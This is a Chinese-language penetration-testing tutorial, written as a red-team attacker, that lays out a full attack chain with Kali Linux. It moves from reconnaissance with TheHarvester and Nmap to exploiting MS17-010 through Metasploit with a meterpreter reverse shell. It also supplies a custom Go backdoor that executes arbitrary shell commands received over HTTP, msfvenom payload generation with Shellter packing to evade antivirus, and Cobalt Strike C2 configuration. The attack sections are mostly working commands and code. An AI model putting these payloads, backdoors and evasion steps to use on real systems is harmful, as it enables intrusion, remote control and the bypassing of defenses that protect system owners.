0x01 攻击入口:Kali Linux 渗透测试的核心思路

Kali Linux 是渗透测试领域中备受推崇的操作系统,它不仅仅是一个工具箱,更是完整的武器化平台。作为一名红队攻击者,我习惯将 Kali 视为突破防线的「起点」。那么,为什么 Kali Linux 能成为渗透测试的首选?答案在于它将攻击链的每一个环节都纳入其中,配备了从信息收集到后期利用所需的一切工具。

在这篇文章中,我们将围绕一个完整的攻击链展开,利用 Kali Linux 提供的工具和自定义代码实现从信息收集到权限提升的全过程。期间,我们也会对绕过技术和免杀技巧做深入剖析。最后,我会分享一些个人的实战经验,帮助你更高效地利用 Kali Linux 打造自己的攻击框架。

---

0x02 信息收集:用好 recon 工具打基础

信息收集是渗透测试的第一步,而在 Kali 中,我们可以利用多个强大的工具完成外网和内网的情报收集工作。

外网信息收集:TheHarvester 的深度应用

TheHarvester 是 Kali 中颇受欢迎的一款情报收集工具,能够从搜索引擎、证书透明度日志、域名服务等多种来源提取目标域名的关键信息。

实战步骤

黑客示意图

以下是使用 TheHarvester 收集目标域名相关信息的完整操作:

<pre><code class="language-shell"># 使用 TheHarvester 收集目标 example.com 的公开信息 theHarvester -d example.com -l 500 -b google</code></pre>

参数解析:

  • -d 指定目标域名。
  • -l 设置返回的最大结果条数。
  • -b 选择数据来源,比如 google、bing、shodan 等。

运行后,TheHarvester 将输出目标域名的邮箱地址、子域名、IP 地址等信息。

优化思路

  • 组合搜索引擎:通过 -b all 参数组合多个搜索引擎。
  • 脚本自动化:将 TheHarvester 的结果与自动化扫描工具集成。例如,用 Python 简单整合:

<pre><code class="language-python">import os

定义目标域名

target = &quot;example.com&quot;

执行 TheHarvester 命令

os.system(f&quot;theHarvester -d {target} -l 500 -b google &gt; output.txt&quot;)

读取结果并解析

with open(&quot;output.txt&quot;, &quot;r&quot;) as file: content = file.read() print(&quot;收集到的数据:&quot;) print(content)</code></pre>

内网信息收集:Nmap 扫描的多样化玩法

在获得目标网络的访问权限后,Nmap 是我们进行内网情报收集的重要工具。从简单的端口扫描到服务识别,甚至漏洞检测,Nmap 的功能覆盖了多个攻击环节。

实战步骤

以下是使用 Nmap 对内网目标进行扫描的实际操作:

<pre><code class="language-shell"># 扫描内网目标 192.168.1.0/24 的所有在线主机 nmap -sn 192.168.1.0/24

扫描开放端口及服务版本

nmap -sV 192.168.1.1 -p 22,80,445</code></pre>

黑客示意图

参数解析:

  • -sn 仅进行主机发现,不扫描端口。
  • -sV 识别服务版本。
  • -p 指定端口范围。

高级玩法:自定义扫描脚本

使用 Nmap 的 NSE(Nmap Scripting Engine)脚本可以进一步扩展其功能。例如,探测目标是否存在 SMB 漏洞:

<pre><code class="language-shell"># 检测 SMBv1 漏洞 nmap --script smb-vuln-ms17-010 -p 445 192.168.1.1</code></pre>

---

0x03 漏洞利用:从 RCE 到权限提升

在完成信息收集后,我们需要分析目标系统的潜在漏洞,并通过漏洞利用工具进行攻击。这里我将重点讲解如何利用 Metasploit 和自定义工具实现漏洞利用。

利用 Metasploit 攻击 SMBv1 漏洞

实战步骤

  1. 启动 Metasploit 框架:

黑客示意图

<pre><code class="language-shell">msfconsole</code></pre>

  1. 搜索并加载 SMBv1 漏洞模块:

<pre><code class="language-shell">search ms17_010

use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.1 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit</code></pre>

成功利用漏洞后,可以获取目标系统的 Meterpreter 会话。

自定义 Go 工具实现命令执行

黑客示意图

Metasploit 是强大的,但它的流量特征容易被检测。为了更隐蔽,我们可以用 Go 编写自己的 RCE 工具。例如:

<pre><code class="language-go">package main

import ( &quot;net/http&quot; &quot;os/exec&quot; )

func handler(w http.ResponseWriter, r *http.Request) { cmd := r.URL.Query().Get(&quot;cmd&quot;) out, err := exec.Command(&quot;/bin/bash&quot;, &quot;-c&quot;, cmd).Output() if err != nil { w.Write([]byte(err.Error())) return } w.Write(out) }

func main() { http.HandleFunc(&quot;/&quot;, handler) http.ListenAndServe(&quot;:8080&quot;, nil) }</code></pre>

如何使用:

  1. 在目标机器上执行该程序。
  2. 通过发送 HTTP 请求(例如 http://victim:8080/?cmd=whoami)远程执行命令。

---

0x04 绕过技术:免杀与对抗

在渗透测试中,绕过杀软和 EDR 是不可避免的环节。这里分享一些常见的免杀和流量伪装技巧。

Payload 加壳与混淆

在生成反弹 shell 时,可以通过 msfvenom 结合 Obfuscator 提升免杀率:

<pre><code class="language-shell"># 生成 Windows 反弹 shell 的 payload msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe &gt; payload.exe

使用 Shellter 对 payload 进行动态分析和加壳

shellter -a -f payload.exe</code></pre>

流量伪装与 C2 对抗

使用 HTTPS 加密和域前置技术伪装 C2 通信。例如,在 Cobalt Strike 中,设置 HTTPS Beacon:

<pre><code class="language-shell"># 配置 HTTPS Profile set C2PROFILE myprofile.profile set HTTPSCERT mycert.pem</code></pre>

---

0x05 个人经验:效率与隐蔽性并重

  1. 工具整合:将常用工具通过脚本自动化,减少手动操作。
  2. 合理规划:每一步攻击前都要明确目标,避免无意义的暴露。
  3. 测试免杀:定期更新免杀策略,保持 payload 的隐蔽性。

通过 Kali Linux,我们能够高效完成从信息收集到漏洞利用的完整攻击链。希望这篇文章对你有所启发。切记,所有技术只能用于授权测试!